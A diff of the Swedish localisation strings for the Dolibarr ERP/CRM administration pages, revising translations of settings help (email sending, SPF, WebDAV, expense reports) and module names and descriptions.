raderats +NoBarcodeNumberingTemplateDefined=Ingen streckkodsmall för numrering aktiverad i streckkodsmodulens inställningar. EnableFileCache=Aktivera filcache -ShowDetailsInPDFPageFoot=Lägg till fler detaljer i sidfot, till exempel företagsadress eller administratörsnamn (förutom professionell ID, företagskapital och momsnummer). -NoDetails=Inga ytterligare detaljer i sidfot +ShowDetailsInPDFPageFoot=Lägg till fler detaljer i sidfoten, till exempel företagsadress eller ansvarigs namn (förutom professionellt ID, säte och organisationsnummer). +NoDetails=Inga ytterligare uppgifter i sidfoten DisplayCompanyInfo=Visa företagsadress -DisplayCompanyManagers=Visa administratörsnamn -DisplayCompanyInfoAndManagers=Visa företagsadress och administratörsnamn -EnableAndSetupModuleCron=Om du vill generera denna återkommande faktura automatiskt måste modulen * %s * vara aktiverad och korrekt inställd. Annars måste generering av fakturor ske manuellt från den här mallen med * Skapa * -knappen. Observera att även om du aktiverat automatisk generation kan du fortfarande starta manuellt generering på ett säkert sätt. Generering av duplikat under samma period är inte möjligt. -ModuleCompanyCodeCustomerAquarium=%s följt av kundkod för kundkodskod -ModuleCompanyCodeSupplierAquarium=%s följt av leverantörskod för en leverantörs bokföringskod -ModuleCompanyCodePanicum=Återvänd en tom bokföringskod. -ModuleCompanyCodeDigitaria=Returnerar en sammansatt redovisningskod enligt namnet på tredje part. Koden består av ett prefix som kan definieras i den första positionen följt av antalet tecken som definierats i tredjepartskoden. -ModuleCompanyCodeCustomerDigitaria=%s följt av det trunkerade kundnamnet med antalet tecken: %s för kundredovisningskoden. -ModuleCompanyCodeSupplierDigitaria=%s följt av det trunkerade leverantörsnamnet med antalet tecken: %s för leverantörens bokföringskod. -Use3StepsApproval=Som standard måste inköpsorder skapas och godkännas av 2 olika användare (ett steg / användare att skapa och ett steg / användare att godkänna. Observera att om användaren har båda tillstånd att skapa och godkänna, är ett steg / användaren tillräckligt) . Du kan fråga med det här alternativet att införa ett tredje steg / användargodkännande, om beloppet är högre än ett dedikerat värde (så 3 steg kommer att behövas: 1 = godkännande, 2 = första godkännande och 3 = andra godkännande om beloppet är tillräckligt).
      Ställ in det här för att tömma om ett godkännande (2 steg) räcker, ställ det till ett mycket lågt värde (0.1) om ett andra godkännande (3 steg) alltid krävs. -UseDoubleApproval=Använd ett 3 steg godkännande när beloppet (utan skatt) är högre än ... -WarningPHPMail=VARNING: Inställningen för att skicka e-postmeddelanden från applikationen använder den allmänna standardinställningen. Det är ofta bättre att ställa in utgående e-post för att använda e-postleverantörens e-postserver istället för standardinställningen av flera skäl: -WarningPHPMailA=- Användning av e-postleverantörens server ökar tillförlitligheten för din e-post, så det ökar leveranssäkerheten utan att flaggas som SPAM -WarningPHPMailB=- Vissa e-postleverantörer (som Yahoo) tillåter inte att du skickar ett e-postmeddelande från en annan server än sin egen server. Din nuvarande inställning använder programmets server för att skicka e-post och inte din e-postleverantörs server, så vissa mottagare (den som är kompatibel med det begränsande DMARC-protokollet) frågar din e-postleverantör om de kan acceptera din e-post och vissa e-postleverantörer (som Yahoo) kan svara "nej" eftersom servern inte tillhör dem, så få av dina skickade e-postmeddelanden kanske inte accepteras för leverans (var också försiktig med din e-postleverantörs sändningskvot). -WarningPHPMailC=- Att använda din egen e-postleverantörs SMTP-server för att skicka e-post är också intressant, så alla e-postmeddelanden som skickas från applikationen kommer också att sparas i din "Skickade" katalog i din brevlåda. -WarningPHPMailD=Also, it is therefore recommended to change the sending method of e-mails to the value "SMTP". If you really want to keep the default "PHP" method to send emails, just ignore this warning, or remove it by setting the MAIN_HIDE_WARNING_TO_ENCOURAGE_SMTP_SETUP constant to 1 in Home - Setup - Other. -WarningPHPMail2=Om din e-post SMTP-leverantör behöver begränsa e-postklienten till vissa IP-adresser (mycket sällsynt), är detta e-postadressen för e-postanvändaragenten (MUA) för din ERP CRM-ansökan: %s . -WarningPHPMailSPF=If the domain name in your sender email address is protected by a SPF record (ask your domain name registar), you must add the following IPs in the SPF record of the DNS of your domain: %s. -ActualMailSPFRecordFound=Actual SPF record found (for email %s) : %s +DisplayCompanyManagers=Visa ansvarigs namn +DisplayCompanyInfoAndManagers=Visa företagsadress och ansvarigs namn +EnableAndSetupModuleCron=Om du vill generera denna återkommande faktura automatiskt måste modulen %s vara aktiverad och korrekt inställd. Annars måste fakturor genereras manuellt från den här mallen med knappen Skapa. Observera att även om du aktiverat automatisk generation kan du fortfarande starta manuell generering på ett säkert sätt. Generation av duplikat under samma period är inte möjligt. +ModuleCompanyCodeCustomerAquarium=%s följt av kundkod för en kundspecifik bokföringskod +ModuleCompanyCodeSupplierAquarium=%s följt av leverantörskod för en leverantörsspecifik bokföringskod +ModuleCompanyCodePanicum=Ge en tom bokföringskod. +ModuleCompanyCodeDigitaria=Ger en sammansatt redovisningskod enligt namnet på tredjepart. Koden består av ett prefix som kan anges i den första positionen följt av antalet tecken som anges i tredjepartskoden. +ModuleCompanyCodeCustomerDigitaria=%s följt av det trunkerade kundnamnet med antalet tecken: %s för kundspecifik bokföringskod. +ModuleCompanyCodeSupplierDigitaria=%s följt av det trunkerade leverantörsnamnet med antalet tecken: %s för leverantörsspecifik bokföringskod. +Use3StepsApproval=Som standard måste inköpsorder skapas och godkännas av 2 olika användare (ett steg/användare att skapa och ett steg/användare att godkänna. Observera att om användaren har båda tillstånd att skapa och godkänna, är ett steg/användaren tillräckligt). Du kan genom detta alternativ fråga om att införa ett tredje steg/användare för godkännande, om beloppet är högre än ett angivet värde (så 3 steg kommer att behövas: 1=godkännande, 2=första godkännande och 3=andra godkännande om beloppet är tillräckligt högt).
      Låt detta fält vara tomt om ett godkännande (2 steg) räcker. Ange ett mycket lågt värde (0.1) om ett andra godkännande (3 steg) alltid krävs. +UseDoubleApproval=Använd ett 3-stegs godkännande när beloppet (utan moms) är högre än ... +WarningPHPMail=VARNING: Inställningen för att skicka e-post från applikationen använder standardinställningen. Det är ofta bättre att ange utgående e-post genom din leverantörs server istället för standardinställningen av flera skäl: +WarningPHPMailA=- Användning av leverantören server ökar trovärdigheten och därmed minskar sannolikheten att det landar i mottagarens spam-korg +WarningPHPMailB=- Vissa leverantörer (exempelvis Yahoo) tillåter inte att du skickar e-post från en annan server än sin egen server. Din nuvarande inställning använder programmets server för att skicka e-post och inte din leverantörs server, så vissa mottagare (den som är kompatibel med det begränsande DMARC-protokollet) frågar din leverantör om de kan acceptera din e-post och vissa leverantörer (som Yahoo) kan svara "nej" eftersom servern inte tillhör dem, så några av dina skickade meddelanden kanske inte accepteras för leverans (se också upp med din leverantörs sändningskvot). +WarningPHPMailC=- Att använda din egen leverantörs SMTP-server för att skicka e-post gör också att alla meddelanden som skickas också sparas i din skickat-mapp. +WarningPHPMailD=Det rekommenderas därför att ändra sändningsmetoden för e-post till värdet "SMTP". +WarningPHPMailDbis=Om du verkligen vill behålla standardmetoden "PHP" för att skicka e-post, ignorera bara denna varning eller ta bort den genom att %sklicka här%s. +WarningPHPMail2=Om din leverantör behöver begränsa epostklienten till vissa IP-adresser (mycket sällsynt), är detta IP-adressen för ditt ERP/CRM: %s. +WarningPHPMailSPF=Om domännamnet du skickar från är skyddat av SPF (fråga din domännamns registrar), måste du lägga till följande IP-adress i SPF för din domän: %s +ActualMailSPFRecordFound=SPF hittat (för e-post %s): %s ClickToShowDescription=Klicka för att visa beskrivning -DependsOn=Denna modul behöver modulen / modulerna -RequiredBy=Denna modul krävs enligt modul (er) -TheKeyIsTheNameOfHtmlField=Detta är namnet på HTML-fältet. Teknisk kunskap krävs för att läsa innehållet på HTML-sidan för att få namnet på ett fält. -PageUrlForDefaultValues=Du måste ange den relativa sökvägen för sidadressen. Om du anger parametrar i URL, kommer standardvärdena att vara effektiva om alla parametrar är inställda på samma värde. -PageUrlForDefaultValuesCreate= 
      Exempel:
      För formuläret för att skapa en ny tredje part är det %s .
      För URL för externa moduler installerade i anpassad katalog, inkludera inte "custom /", så använd sökvägen som mymodule / mypage.php och inte anpassad / mymodule / mypage.php.
      Om du bara vill ha standardvärde om url har någon parameter kan du använda %s -PageUrlForDefaultValuesList= 
      Exempel:
      För sidan som listar tredje part är den %s .
      För URL för externa moduler installerade i anpassad katalog, inkludera inte "custom /" så använd en sökväg som mymodule / mypagelist.php och inte anpassad / mymodule / mypagelist.php.
      Om du bara vill ha standardvärde om url har någon parameter kan du använda %s -AlsoDefaultValuesAreEffectiveForActionCreate=Observera också att överskrivning av standardvärden för formulärskapande endast fungerar för sidor som var korrekt utformade (så med parameteråtgärd = skapa eller presend ...) +DependsOn=Denna modul är beroende av modul(erna) +RequiredBy=Denna modul krävs enligt modul(er) +TheKeyIsTheNameOfHtmlField=Detta är namnet på HTML-fältet. Teknisk kunskap krävs för att läsa innehållet på HTML-sidan för att hitta namnet på ett fält. +PageUrlForDefaultValues=Du måste ange den relativa sökvägen för sidan. Om du anger parametrar i URL kommer standardvärdena endast att vara effektiva om alla parametrar är inställda på samma värde. +PageUrlForDefaultValuesCreate=
      Exempel:
      För att formuläret för att skapa en ny tredjepart är det %s.
      För URL för externa moduler installerade i anpassad katalog, inkludera inte "anpassat/", så används sökvägen mymodule/mypage.php och inte anpassat/mymodule/mypage.php.
      Om du bara vill ha standardvärde om url har någon parameter kan du använda %s +PageUrlForDefaultValuesList=
      Exempel:
      För sidan som listar tredjeparter är den %s.
      För URL för externa moduler installerade i anpassad katalog, inkludera inte "anpassat/", så används en sökväg mymodule/mypagelist.php och inte anpassat/mymodule/mypagelist.php.
      Om du bara vill ha standardvärde om url har någon parameter kan du använda %s +AlsoDefaultValuesAreEffectiveForActionCreate=Observera också att överskrivning av standardvärden för formulärskapande endast fungerar för sidor som är korrekt utformade (med åtgärd=create eller presend ...) EnableDefaultValues=Aktivera anpassning av standardvärden -EnableOverwriteTranslation=Aktivera användning av överskriven översättning -GoIntoTranslationMenuToChangeThis=En översättning har hittats för nyckeln med den här koden. För att ändra detta värde måste du redigera det från Home-Setup-translation. -WarningSettingSortOrder=Varning, om du anger en standard sorteringsordning kan resultera i ett tekniskt fel när du går på listasidan om fältet är ett okänt fält. Om du upplever ett sådant fel, kom tillbaka till den här sidan för att ta bort standard sorteringsordning och återställ standardbeteendet. +EnableOverwriteTranslation=Tillåt anpassning av översättningar +GoIntoTranslationMenuToChangeThis=En översättning har hittats för nyckeln med den här koden. För att ändra detta värde måste du redigera det från Start - Inställningar - Översättning. +WarningSettingSortOrder=Varning! Om du anger en standard sorteringsordning kan det resultera i ett tekniskt fel när du går till listsidan om fältet är ett okänt fält. Om du upplever dessa fel, tar du bort standard sorteringsordning och återställer standardbeteendet. Field=Fält ProductDocumentTemplates=Dokumentmallar för att generera produktdokument FreeLegalTextOnExpenseReports=Fri juridisk text om kostnadsrapporter WatermarkOnDraftExpenseReports=Vattenmärke på utkast till utgiftsrapporter -ProjectIsRequiredOnExpenseReports=Projektet är obligatoriskt för att fylla i utläggsrapport -PrefillExpenseReportDatesWithCurrentMonth=Fyll i start och slutdatum automatiskt för nya utläggsrapporter med start och slutdatum för innevarande månad -ForceExpenseReportsLineAmountsIncludingTaxesOnly=Force the entry of expense report amounts always in amount with taxes +ProjectIsRequiredOnExpenseReports=Projektet är obligatoriskt för att fylla i utgiftsrapport +PrefillExpenseReportDatesWithCurrentMonth=Förangivna start- och slutdatum för nya utgiftsrapporter med start- och slutdatum för innevarande månad +ForceExpenseReportsLineAmountsIncludingTaxesOnly=Forcera utläggens summa att vara inkl. moms AttachMainDocByDefault=Ange det här till 1 om du vill bifoga huvuddokumentet till e-post som standard (om tillämpligt) FilesAttachedToEmail=Bifoga fil -SendEmailsReminders=Skicka agendan påminnelser via e-post +SendEmailsReminders=Skicka dagordning som påminnelse via e-post davDescription=Konfigurera en WebDAV-server -DAVSetup=Uppställning av modul DAV -DAV_ALLOW_PRIVATE_DIR=Aktivera den generiska privata katalogen (WebDAV-dedikerad katalog som heter "privat" - inloggning krävs) -DAV_ALLOW_PRIVATE_DIRTooltip=Den generiska privata katalogen är en WebDAV-katalog som alla kan komma åt med sin inloggning / pass. -DAV_ALLOW_PUBLIC_DIR=Aktivera den generiska offentliga katalogen (WebDAV-dedikerad katalog som heter "allmän" - ingen inloggning krävs) -DAV_ALLOW_PUBLIC_DIRTooltip=Den generiska offentliga katalogen är en WebDAV-katalog som alla kan komma åt (i läs- och skrivläge), utan tillstånd krävs (inloggnings- / lösenordskonto). -DAV_ALLOW_ECM_DIR=Aktivera den privata DMS / ECM-katalogen (rootkatalog för DMS / ECM-modulen - inloggning krävs) -DAV_ALLOW_ECM_DIRTooltip=Rotkatalogen där alla filer laddas upp manuellt när du använder DMS / ECM-modulen. På samma sätt som åtkomst från webbgränssnittet behöver du ett giltigt inloggnings / lösenord med adekvata behörigheter för åtkomst till det. +DAVSetup=Konfiguration av modulen DAV +DAV_ALLOW_PRIVATE_DIR=Aktivera den generiska privata katalogen (WebDAV-dedikerad katalog som heter "privat" och kräver inloggning) +DAV_ALLOW_PRIVATE_DIRTooltip=Den allmänna privata katalogen är en WebDAV-katalog som alla kan komma åt med sin inloggning/lösenord. +DAV_ALLOW_PUBLIC_DIR=Aktivera den allmänna katalogen (WebDAV-dedikerad katalog som heter "public" - ingen inloggning krävs) +DAV_ALLOW_PUBLIC_DIRTooltip=Den allmänna katalogen är en WebDAV-katalog som alla kan komma åt (i läs- och skrivläge), utan att tillstånd krävs (inloggning/lösenord). +DAV_ALLOW_ECM_DIR=Aktivera den privata DMS/ECM-katalogen (rootkatalog för DMS/ECM-modulen - inloggning krävs) +DAV_ALLOW_ECM_DIRTooltip=Rootkatalogen där alla filer laddas upp när du använder DMS/ECM-modulen. På samma sätt som åtkomst från webbgränssnittet behöver du ett giltigt inloggningsnamn/lösenord med tillräckliga rättigheter för åtkomst. # Modules Module0Name=Användare & grupper -Module0Desc=Användare / Medarbetare och Gruppledning -Module1Name=Utomstående -Module1Desc=Företag och kontaktledning (kunder, utsikter ...) -Module2Name=Kommersiella -Module2Desc=Kommersiell förvaltning +Module0Desc=Användare/anställda och grupphantering +Module1Name=Tredjeparter +Module1Desc=Hantering av företag och kontakter (kunder, prospekt ...) +Module2Name=Kommersiellt +Module2Desc=Kommersiell hantering Module10Name=Redovisning (förenklad) -Module10Desc=Enkla redovisningsrapporter (loggböcker, omsättning) baserat på databasinnehåll. Använder inte huvudboken. -Module20Name=Förslag -Module20Desc=Hantering av affärsförslag -Module22Name=Mass Emailings -Module22Desc=Hantera bulk emailing +Module10Desc=Enkla redovisningsrapporter (loggböcker, omsättning) baserat på databasinnehåll. Använder inte huvudbok. +Module20Name=Offerter +Module20Desc=Hantering av offerter +Module22Name=E-postutskick +Module22Desc=Hantera e-postutskick Module23Name=Energi -Module23Desc=Övervakning av förbrukningen av energi -Module25Name=Försäljningsorder -Module25Desc=Försäljningsorderhantering +Module23Desc=Övervakning av energiförbrukning +Module25Name=Order +Module25Desc=Orderhantering Module30Name=Fakturor -Module30Desc=Förvaltning av fakturor och kreditanteckningar för kunder. Förvaltning av fakturor och kreditanteckningar för leverantörer -Module40Name=Säljare -Module40Desc=Leverantörer och inköpshantering (inköpsorder och fakturering av leverantörsfakturor) +Module30Desc=Hantering av fakturering och kreditering för kunder. Hantering av leverantörsfakturor och -kreditering. +Module40Name=Leverantörer +Module40Desc=Leverantörer och inköpshantering (inköpsorder och leverantörsfakturor) Module42Name=Felsökningsloggar -Module42Desc=Loggningsfunktioner (fil, syslog, ...). Sådana loggar är för tekniska / debug-ändamål. +Module42Desc=Loggningsfunktioner (fil, syslog, ...). Sådana loggar är för tekniska- eller debug-ändamål. Module43Name=Felsökningsfält -Module43Desc=Ett verktyg för att utveckla ett felsökningsfält i din webbläsare. -Module49Name=Redaktion -Module49Desc=Redaktör ledning +Module43Desc=Ett verktyg för att lägga till ett felsökningsfält i din webbläsare. +Module49Name=Redigerare +Module49Desc=Hantering av redigerare Module50Name=Produkter -Module50Desc=Förvaltning av produkter +Module50Desc=Produkthantering Module51Name=Massutskick -Module51Desc=Massa papper utskick ledning +Module51Desc=Hantering av fysiska massutskick Module52Name=Lager Module52Desc=Lagerhantering Module53Name=Tjänster -Module53Desc=Förvaltning av tjänster -Module54Name=Avtal / Prenumerationer -Module54Desc=Förvaltning av kontrakt (tjänster eller återkommande abonnemang) +Module53Desc=Tjänstehantering +Module54Name=Avtal/prenumerationer +Module54Desc=Hantering av kontrakt (tjänster eller återkommande prenumerationer) Module55Name=Streckkoder -Module55Desc=Streckkod eller QRkods hantering +Module55Desc=Hantering av streckkoder eller QR-koder Module56Name=Betalning med kreditöverföring -Module56Desc=Hantering av betalning av leverantörer med kreditöverföringsorder. Den inkluderar generering av SEPA-filer för europeiska länder. -Module57Name=Betalningar med autogiro -Module57Desc=Hantering av direktdebiteringsorder. Den inkluderar generering av SEPA-filer för europeiska länder. +Module56Desc=Hantering av betalleverantörer som tillhandahåller kreditöverföringar. Den inkluderar generering av SEPA-filer för europeiska länder. +Module57Name=Betalningar med direktdebitering +Module57Desc=Hantering av order med direktdebitering. Den inkluderar generering av SEPA-filer för europeiska länder. Module58Name=ClickToDial Module58Desc=Integrering av ett ClickToDial system (Asterisk, ...) -Module60Name=Klistermärken -Module60Desc=Hantering av klistermärken -Module70Name=Insatser -Module70Desc=Intervention ledning -Module75Name=Kostnader och resor anteckningar -Module75Desc=Kostnader och resor notera ledning -Module80Name=Transporter -Module80Desc=Leverans och leveranshantering -Module85Name=Banker och kontanter -Module85Desc=Förvaltning av bank eller kontanter konton +Module60Name=Stickers +Module60Desc=Hantering av stickers +Module70Name=Interventioner +Module70Desc=Hantering av interventioner +Module75Name=Kostnader och reseanteckningar +Module75Desc=Hantering av kostnader och reseanteckningar +Module80Name=Leveranser +Module80Desc=Hantering av leveranser och bipacksedlar +Module85Name=Bank & kontant +Module85Desc=Hantering av banker eller kontantkonton Module100Name=Extern webbplats -Module100Desc=Lägg till en länk till en extern hemsida som huvudmenyikon. Webbplatsen visas i en ram under toppmenyn. -Module105Name=Mailman och Sip -Module105Desc=Mailman eller SPIP gränssnitt för medlemmar modulen +Module100Desc=Lägg till en länk till en extern hemsida som huvudmenyikon. Webbplatsen visas i en ram (iFrame) under toppmenyn. +Module105Name=Mailman och SPIP +Module105Desc=Mailman- eller SPIP-gränssnitt för medlemsmodulen Module200Name=LDAP Module200Desc=LDAP-katalogsynkronisering Module210Name=PostNuke Module210Desc=PostNuke integration -Module240Name=Data export +Module240Name=Dataexport Module240Desc=Verktyg för att exportera Dolibarr-data (med hjälp) -Module250Name=Data import +Module250Name=Dataimport Module250Desc=Verktyg för att importera data till Dolibarr (med hjälp) Module310Name=Medlemmar -Module310Desc=Foundation i ledningen +Module310Desc=Hantering av medlemmar i förening eller stiftelse Module320Name=RSS-flöde Module320Desc=Lägg till ett RSS-flöde till Dolibarr-sidor -Module330Name=Bokmärken och genvägar -Module330Desc=Skapa genvägar, alltid tillgängliga, till de interna eller externa sidorna som du ofta har tillgång till -Module400Name=Projekt eller Leads -Module400Desc=Förvaltning av projekt, ledningar / möjligheter och / eller uppgifter. Du kan också tilldela ett element (faktura, order, förslag, ingripande, ...) till ett projekt och få en tvärgående vy från projektvyn. +Module330Name=Bokmärken & genvägar +Module330Desc=Skapa genvägar, alltid tillgängliga, till interna eller externa sidor som du ofta använder +Module400Name=Projekt & leads +Module400Desc=Hantering av projekt, leads/möjligheter och/eller uppgifter. Du kan också tilldela ett element (faktura, order, offert, intervention, ...) till ett projekt och få en tvärgående vy från projektvyn. Module410Name=WebCalendar Module410Desc=WebCalendar integration -Module500Name=Skatter och specialkostnader -Module500Desc=Management of other expenses (sales taxes, social or fiscal taxes, dividends, ...) +Module500Name=Moms & specialkostnader +Module500Desc=Hantering av andra utgifter (moms, utdelningar, etc.) Module510Name=Löner -Module510Desc=Spela in och spåra anställda betalningar +Module510Desc=Registrera och spåra löneutbetalningar Module520Name=Lån -Module520Desc=Förvaltning av lån +Module520Desc=Hantering av lån Module600Name=Meddelanden om affärshändelse -Module600Desc=Skicka e-postmeddelanden som utlöses av en företagshändelse: per användare (inställning definierad på varje användare), per tredjepartskontakter (inställning definierad på var tredje part) eller genom specifika e-postmeddelanden -Module600Long=Observera att den här modulen skickar e-postmeddelanden i realtid när en viss företagshändelse inträffar. Om du letar efter en funktion för att skicka e-postpåminnelser för agendahändelser, gå till inställningen av modulens Agenda. +Module600Desc=Skicka e-post som utlöses av en företagshändelse: per användare (inställning angiven på varje användare), per tredjepartskontakter (inställning angiven på varje tredjepart) eller genom specifika e-postmeddelanden +Module600Long=Observera att den här modulen skickar e-post i realtid när en viss företagshändelse inträffar. Om du letar efter en funktion för att skicka e-postpåminnelser för agendahändelser, gå till inställningen av modulen Dagordning. Module610Name=Produktvarianter -Module610Desc=Skapande av produktvarianter (färg, storlek etc.) +Module610Desc=Skapa av produktvarianter (färg, storlek etc.) Module700Name=Donationer -Module700Desc=Donation ledning +Module700Desc=Hantering av donationer Module770Name=Kostnadsrapporter Module770Desc=Hantera kostnadsrapportrapporter (transport, måltid, ...) -Module1120Name=Leverantörsreklamförslag -Module1120Desc=Begär leverantörens kommersiella förslag och priser +Module1120Name=Leverantörsofferter +Module1120Desc=Begär pris från leverantörer Module1200Name=Mantis -Module1200Desc=Mantis integration -Module1520Name=Dokument Generation -Module1520Desc=Massa e-postdokumentgenerering +Module1200Desc=Integration av Mantis +Module1520Name=Dokumentgeneration +Module1520Desc=Bulkgeneration av e-postdokument Module1780Name=Taggar/Kategorier -Module1780Desc=Skapa taggar / kategori (produkter, kunder, leverantörer, kontakter eller medlemmar) -Module2000Name=FCKeditor -Module2000Desc=Tillåt textfält att redigeras / formateras med hjälp av CKEditor (html) +Module1780Desc=Skapa tagg/kategori (produkter, kunder, leverantörer, kontakter eller medlemmar) +Module2000Name=WYSIWYG-redigerare +Module2000Desc=Tillåt textfält att redigeras/formateras med hjälp av CKEditor (html) Module2200Name=Dynamiska priser -Module2200Desc=Använd mattexempel för automatisk generering av priser +Module2200Desc=Använd matematiska uttryck för att skapa priser automatiskt Module2300Name=Schemalagda jobb -Module2300Desc=Schemalagd jobbadministration (alias cron eller chronotabell) -Module2400Name=Händelser / agenda -Module2400Desc=Spåra händelser. Logga in automatiska händelser för spårningsändamål eller spela in manuella händelser eller möten. Detta är huvudmodulen för bra kund- eller leverantörsrelation. -Module2500Name=DMS / ECM -Module2500Desc=Dokumenthanteringssystem / Elektronisk innehållshantering. Automatisk organisering av dina genererade eller lagrade dokument. Dela dem när du behöver. -Module2600Name=API / webbtjänster (SOAP-server) -Module2600Desc=Aktivera Dolibarr SOAP server tillhandahåller API-tjänster -Module2610Name=API / webbtjänster (REST-server) -Module2610Desc=Aktivera Dolibarr REST servern tillhandahåller API-tjänster -Module2660Name=Ring webbtjänster (SOAP-klient) -Module2660Desc=Aktivera Dolibarr webbtjänster klient (Kan användas för att trycka data / begäran till externa servrar. Endast inköpsorder stöds för närvarande.) +Module2300Desc=Hantering av schemalagda jobb (cron eller chrono-tabell) +Module2400Name=Händelser/dagordning +Module2400Desc=Registrera händelser. Logga automatiska händelser för spårningsändamål eller registrera händelser eller möten manuellt. Detta är huvudmodulen för bra kund- eller leverantörsrelation! +Module2430Name=Bokningssystem +Module2430Desc=Tillhandahåll en onlinekalender så att vem som helst kan boka möten enligt fördefinierade intervall eller tillgänglighet. +Module2500Name=DMS/ECM +Module2500Desc=Dokumenthanteringssystem/elektronisk innehållshantering. Automatisk organisering av dina skapade eller lagrade dokument. Dela dem när du behöver. +Module2600Name=API/webbtjänster (SOAP-server) +Module2600Desc=Aktivera Dolibarr SOAP-server som tillhandahåller API-tjänster +Module2610Name=API/webbtjänster (REST-server) +Module2610Desc=Aktivera Dolibarr REST-servern som tillhandahåller API-tjänster +Module2660Name=Webbtjänster för samtal (SOAP-klient) +Module2660Desc=Aktivera Dolibarrs webbtjänstklient (kan användas för att skicka data/begäran till externa servrar. Endast inköpsorder stöds för närvarande.) Module2700Name=Gravatar -Module2700Desc=Använd online Gravatar service (www.gravatar.com) för att visa foto av användare / medlemmar (hittas med sina e-postmeddelanden). Behöver tillgång till Internet +Module2700Desc=Använd Gravatar (www.gravatar.com) för att visa ett foto av användare/medlemmar (hittas via sina e-postadresser). Kräver tillgång till Internet Module2800Desc=FTP-klient Module2900Name=GeoIPMaxmind -Module2900Desc=GeoIP Maxmind omvandlingar kapacitet +Module2900Desc=GeoIP Maxmind konverteringskapacitet Module3200Name=Oföränderliga arkiv -Module3200Desc=Aktivera en oföränderlig logg över affärshändelser. Händelser arkiveras i realtid. Loggen är en skrivskyddad tabell med kedjda händelser som kan exporteras. Denna modul kan vara obligatorisk för vissa länder. +Module3200Desc=Aktivera en oföränderlig logg över affärshändelser. Händelser arkiveras i realtid. Loggen är en skrivskyddad tabell med händelser som kan exporteras. Denna modul kan vara obligatorisk i vissa länder. +Module3300Name=Modulbyggare +Module3300Desc=Ett RAD-verktyg (Rapid Application Development - low-code and no-code) för att hjälpa utvecklare eller avancerade användare att bygga sin egen modul/applikation. Module3400Name=Sociala nätverk -Module3400Desc=Aktivera sociala nätverksfält till tredje part och adresser (skype, twitter, facebook, ...). +Module3400Desc=Aktivera fält för sociala nätverks i tredjeparter och adresser (Skype, Twitter, Facebook, ...). Module4000Name=HRM -Module4000Desc=Personalhantering (förvaltningen av avdelningen, anställningskontrakt och känslor) -Module5000Name=Multi-bolag +Module4000Desc=Personalhantering (hanterar avdelningar, anställningskontrakt och känslor) +Module5000Name=Flera bolag Module5000Desc=Gör att du kan hantera flera företag -Module6000Name=Intermoduler Arbetsflöde -Module6000Desc=Arbetsflödeshantering mellan olika moduler (automatisk skapande av objekt och / eller automatisk statusändring) -Module10000Name=webbplatser -Module10000Desc=Skapa webbplatser (offentliga) med en WYSIWYG-redigerare. Detta är en webbansvarig eller utvecklarorienterad CMS (det är bättre att känna till HTML- och CSS-språk). Ställ bara in din webbserver (Apache, Nginx, ...) för att peka på den dedikerade Dolibarr-katalogen för att ha den online på internet med ditt eget domännamn. -Module20000Name=Lämna begäranhantering -Module20000Desc=Definiera och spåra begäran om ansvarsfriskrivning -Module39000Name=Produktpartier -Module39000Desc=Massor, serienummer, mat-by / sälj-datum hantering för produkter +Module6000Name=Tvärmodul för arbetsflöde +Module6000Desc=Hantering av arbetsflöde mellan olika moduler (automatiskt skapande av objekt och/eller automatisk statusändring) +Module10000Name=Webbplatser +Module10000Desc=Skapa webbplatser med en WYSIWYG-redigerare. Detta är ett enklare CMS och det är bra att kunna HTML och/eller CSS). Ange bara typ av webbserver (Apache, Nginx, ...) och peka på din Dolibarr-installation för att ha den online med ditt eget domännamn. +Module20000Name=Hantering av ledigheter och frånvaro +Module20000Desc=Hantera och spåra anställdas ledigheter +Module39000Name=Produktbatcher +Module39000Desc=Hantering av batcher, serienummer och bäst-före/sälj-före-datum Module40000Name=Flera valutor Module40000Desc=Använd alternativa valutor i priser och dokument -Module50000Name=Paybox -Module50000Desc=Erbjud kunderna en PayBox online betalningssida (kredit- / betalkort). Detta kan användas för att dina kunder ska kunna göra ad hoc-betalningar eller betalningar relaterade till ett specifikt Dolibarr-objekt (faktura, order etc ...) +Module50000Name=PayBox +Module50000Desc=Erbjud kunderna att betala online via PayBox (kredit-/betalkort). Detta kan användas för att dina kunder ska kunna göra direktbetalningar eller betalningar relaterade till ett specifikt objekt (faktura, order etc ...) Module50100Name=POS SimplePOS -Module50100Desc=Point of Sale-modulen SimplePOS (enkel POS). +Module50100Desc=Kassamodulen SimplePOS Module50150Name=POS TakePOS -Module50150Desc=Point of Sale-modul TakePOS (POS för pekskärm, för butiker, barer eller restauranger). +Module50150Desc=Kassamodulen TakePOS (kassa för pekskärmar) Module50200Name=Paypal -Module50200Desc=Erbjud kunderna en PayPal-betalningssida för PayPal (PayPal-konto eller kredit- / betalkort). Detta kan användas för att dina kunder ska kunna göra ad hoc-betalningar eller betalningar relaterade till ett specifikt Dolibarr-objekt (faktura, order etc ...) -Module50300Name=Rand -Module50300Desc=Erbjud kunderna en Stripe online betalningssida (kredit- / betalkort). Detta kan användas för att dina kunder ska kunna göra ad hoc-betalningar eller betalningar relaterade till ett specifikt Dolibarr-objekt (faktura, order etc ...) +Module50200Desc=Erbjud kunderna möjlighet att betala med PayPal (PayPal-konto eller kredit-/betalkort). Detta kan användas för att dina kunder ska kunna göra direktbetalningar eller betalningar relaterade till ett specifikt objekt (faktura, order etc ...) +Module50300Name=Stripe +Module50300Desc=Erbjud kunderna möjlighet att betala online via Stripe (kredit-/betalkort). Detta kan användas för att dina kunder ska kunna göra direktbetalningar eller betalningar relaterade till ett specifikt objekt (faktura, order etc ...) Module50400Name=Redovisning (dubbel inmatning) -Module50400Desc=Redovisningshantering (dubbla poster, stöd General och dotterbolag Ledgers). Exportera huvudboken i flera andra bokföringsprogramformat. +Module50400Desc=Redovisningshantering (dubbla poster, stöd för huvudbok och bok för dotterbolag). Exportera huvudboken i flera andra format. Module54000Name=PrintIPP -Module54000Desc=Direktutskrift (utan att öppna dokumenten) med koppar IPP-gränssnitt (skrivaren måste vara synlig från servern och CUPS måste installeras på servern). -Module55000Name=Omröstning, undersökning eller omröstning -Module55000Desc=Skapa online-omröstningar, undersökningar eller röster (som Doodle, Studs, RDVz etc ...) +Module54000Desc=Direktutskrift (utan att öppna dokument) med Cups IPP-gränssnitt (skrivaren måste hittas från servern och Cups måste vara installerat på servern). +Module55000Name=Omröstningar eller undersökningar +Module55000Desc=Skapa omröstningar eller undersökningar (som Doodle, Studs, RDVz etc ...) Module59000Name=Marginaler -Module59000Desc=Modul för att följa marginaler -Module60000Name=Provision -Module60000Desc=Modul för att hantera uppdrag +Module59000Desc=Modul för att se marginaler +Module60000Name=Provisioner +Module60000Desc=Modul för att hantera provisioner Module62000Name=Incoterms 